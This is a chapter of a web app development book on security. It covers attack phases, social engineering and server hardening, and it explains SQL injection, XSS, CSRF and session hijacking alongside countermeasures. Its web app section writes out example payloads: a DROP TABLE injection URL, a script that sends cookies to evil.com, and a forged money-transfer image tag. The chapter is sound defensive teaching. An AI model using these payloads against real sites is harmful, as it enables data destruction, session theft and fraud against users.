Chapter 18

Security

Until now we’ve dedicated the bulk of our time to the selection, design and implementation of web app features. The development process must also consider non-functional aspects of the application, the most important of which are security and performance.

Feature development is a relatively short-term investment that is iterated to retain customers or capture additional market share. Non-functional development is a long-term investment to enable growth, protect the business and reputation, and alleviate legal issues. It too requires frequent attention and is not simply a checklist to mark off once at the start of a project.

*I should more accurately call this cracking, but I’ll stick with the term hacking.

A 2010 survey1 found that one in six New York teenagers and one in four UK teenagers admitted to hacking*. There is surely no scenario in which a teenager would ever lie, but even if you take these numbers with a pinch of salt, there’s no escaping the fact that millions of devious and bored hacker-wannabes have access to massive amounts of inexpensive computer power and sophisticated software.

Anatomy of a web app attack

The typical web-based attack follows three steps: discovery, exploitation and escalation.

In the initial discovery phase, the attacker profiles a system and gathers information. They may try to locate unsecured test servers using DNS zone transfers, perform port scans and ping sweeps to determine potential access points, and identify what software versions the server and web app are running through a variety of exposed footprints, including HTTP headers and verbose error messages. They’ll also run automated fuzz testing2 software to pass invalid and random data into your app to uncover easy security holes.

The attacker assesses the information and uses it to exploit the system and gain access, perhaps through an unpatched web framework that identifies its old version number in the HTML. Finally, having gained a foothold in the system, the attacker attempts to escalate their privileges to full administrator access. A security hole that allows the user to display any server file to screen, for example, could be used to view the database configuration file, whose connection settings may also allow access to the main web server.

If a suitable exploit can’t be found, a malicious attacker with an agenda may resort to a denial of service (DoS) attack. This floods the web app servers with traffic in an effort to cripple the service under load.

Attacks can be targeted at the app software, the server software, the network software, the hardware or even at the people who work on the app.

img-18_1

The layers of web app security

Social engineering hacks and countermeasures

The easiest way into a system is to be given the keys. All the technology security in the world won’t stop a hacker who has genuine access to the system. Obtaining access credentials through personal persuasion and manipulation is often referred to as wetware hacking, rather than software or hardware hacking.

In the discovery phase the attacker undertakes reconnaissance on the target, typically someone working on the app. Thanks to personal blogs, public social media profiles and domain registration records, it can take only a few minutes to identify addresses, service and utility providers, birthdays, holiday schedules, phone numbers and the full names of friends and family.

Armed with this information, the attacker exploits the target with pretexting: inventing a fake scenario based on their current knowledge of the target. This may be a phone call, email or online message from a colleague or service provider, where the basic information is used to establish a sense of authenticity and trust. This can be used to further flesh out the information for a later and greater hack or, in the case of phishing, it is used to ask outright for access credentials.

For example, it wouldn’t be difficult for an attacker to use social media to discover that a target’s colleague is on vacation in Barbados; they may even be able to download a recent photo of them on holiday. Armed with this, the attacker could create an ostensibly authentic online webmail account from which to email the target with, “Greetings from Barbados! PS I’ve forgotten my work email account details. Can you reset them for me please?” Once this has been granted, an escalation to full access is straightforward.

There are several effective countermeasures against social hacking.

Awareness

Ensure that everyone on the app team understands how social hacks work and what they look like. As we’ll see, a fundamental rule of web security is to never trust input, which extends to input from telephones, emails and instant messages.

Training

If you work in a large organisation, recognise that social hacks can begin with anyone. Policies and training need to clarify which information is sensitive, and how and when to check the validity of someone’s identity. Be a good citizen and let your friends and family know too.

Privacy

Limit the amount of personal information that you put online and enable privacy options where available.

Passwords

Secure your computer by enabling a password-protected screensaver when away from it, and disabling auto-login from reboots. Use keys3 rather than passwords for server access to make it more difficult for an attacker to overhear or sneakily read a password being typed in. To control the damage of any breaches, use unique strong passwords for each system: don’t re-use passwords. This is advice that everyone preaches but few practise, but there is now little excuse thanks to password manager applications like 1Password4 that also synchronise passwords between computers and mobile devices.

Network hacks and countermeasures

Routers, switches and firewalls act as the first line of defence for your app, protecting it from a deluge of unwanted probes and attacks. It’s likely that you will initially host your app on a third-party network, in which case the security of the network components lies mostly outside of your control, except the choice of provider.

Attacks at this level commonly include physical tampering (to eavesdrop on network traffic, perhaps) and exploitation of low-level protocols, services and data.


Countermeasures that you should discuss with your provider, or implement in-house when the time arrives include:

Server hacks and countermeasures

Web servers are powerful machines that host valuable websites and databases. They also have fast access to the internet. As such they make an attractive target to attackers and, given their mix of hardware and complex software components, they make a large target to hit.

Most of the previous network countermeasures also apply to servers: secure the physical hardware; use strong passwords or keys; remove software footprints; disable unused services and ports; log traffic and regularly patch the software.

Additionally, you should lock down the server software. The web server (Apache, IIS and so on) should run as a non-root user, with the minimum possible privileges. Grant the server access to files within the web root only and ensure that only the root user can change the web server configuration file. All other users on the server should be suitably locked down.

Tweak the connection settings, if necessary. Optimum values will depend on the amount and size of files that your app serves and requests from users. Adjust the settings that control HTTP connections, such as the valid maximum size of requests and the number of Keep-Alive requests per connection. This can help the server to withstand DoS attacks.

Directory browsing and server-side includes should be disabled. Filter some malevolent requests automatically with a module like mod_security (Apache) or UrlScan (IIS).

Web app hacks and countermeasures

A web app exposes a minefield of vulnerabilities:

Web app attacks are not necessarily sophisticated. At least half of 2010’s most common vulnerabilities6 were exploited through simple manipulation of user input, including query string parameters and HTTP headers.

SQL injection

Most apps create dynamic SQL queries based on URL parameters or user input. The URL http://app.com/user/23 might be interpreted by the SQL statement SELECT * FROM user WHERE ID = $id where the $id variable is dynamically inserted from the URL by server-side code. The attacker can manipulate the input value so that additional code is interpreted by the SQL statement. For instance, http://app.com/user/23;+DROP+TABLE+user; attempts to run a second statement on the database to delete user data.

Cross-site scripting (XSS)

Most apps incorporate data added by the user into the HTML. For example, a search for the term Dogtanian might result in “Your search for Dogtanian returned 3 results”. An attacker can manipulate this to insert scripts into the HTML that run from the same origin as the main website and, therefore, have access to trusted user data. An example exploit search might be:

Dogtanian<script>document.location='http://evil.com/log?cookie='+document.cookie</script>

Cross-site request forgery (CSRF)

As the name suggests, an attacker may imitate a request to the app from an unsuspecting user while they browse another website. If an app uses URLs for important actions (a GET HTTP request rather than a POST request) and a cookie is trusted for authentication, it is exploitable.


For example, a link in an app to transfer money might have the URL:


http://app.com/transfer?to=mother&amount=500


…where the user cookie identifies who the request is from. An attacker can copy a similar link to their website inside an image element, so that the request to the app is unnoticeable:

<img src="http://app.com/transfer?to=attacker&amount=500" />

If a user who has been previously authenticated with the app visits the attacker’s website, the browser will send the app’s authentication cookie to the app when it requests the image, which triggers the app into performing the attacker’s action.

Session hijacking

If an attacker can monitor unsecured HTTP traffic between a user and the app, they can capture the user’s cookie and use it in their own requests to spoof the user’s session. This is easier than it sounds, as the Firesheep7 tool demonstrated: traffic on an open wireless network is simple to intercept.

Countermeasures

The most important defence against these attacks is to never trust input. Assume that all input outside of your control is malicious, including that from users, from HTTP headers and from third parties.

It is better to constrain valid input than to only check for malicious input. If a user ID is always an integer between 1 and 10,000,000, constrain the allowed values to this range. Constrain input by type (integer, string and so on), length (number of characters) and format (such as a valid email address). If it doesn’t match, reject it. Never rely on client-side validation alone.

Log and reject invalid input. Check input for common hacker patterns in multiple character encodings. This includes script elements, SQL statements and file paths. Sanitise input before it is displayed in the output. For example, a search string should rarely contain HTML code, so strip the input of all markup and convert all HTML entities in the output. Only use parameterised SQL queries and stored procedures, which strictly sanitise SQL input.

Validate the source of input where possible. If you expect input from a POST request, do not accept the same parameters from a GET request. Consider checking the HTTP referrer, though this can be spoofed easily. Similarly, consider including the IP address and user agent of the authenticating user in their cookie identifier as a checksum (to be checked on each subsequent request), taking into account that these too can be spoofed and should not be solely relied on.

A better solution for important forms is to use a form token. At the start of a user session, create a long random token for the user and store it in their server-side session data. Include this token as a hidden field in every POSTed form; if the token in a request doesn’t match the server-side value, reject the request. To further enhance security, make sure the token only works for a limited amount of time before generating a new one.

Other important web app attack countermeasures:

Summary

Even the smallest web app faces attack from thousands of indiscriminate hacking tools; put basic security measures in place to protect your app and your users’ data.

Web App Success book coverAlso available to buy in a beautiful limited edition paperback and eBook.

This work is licensed under a Creative Commons Attribution 4.0 International License.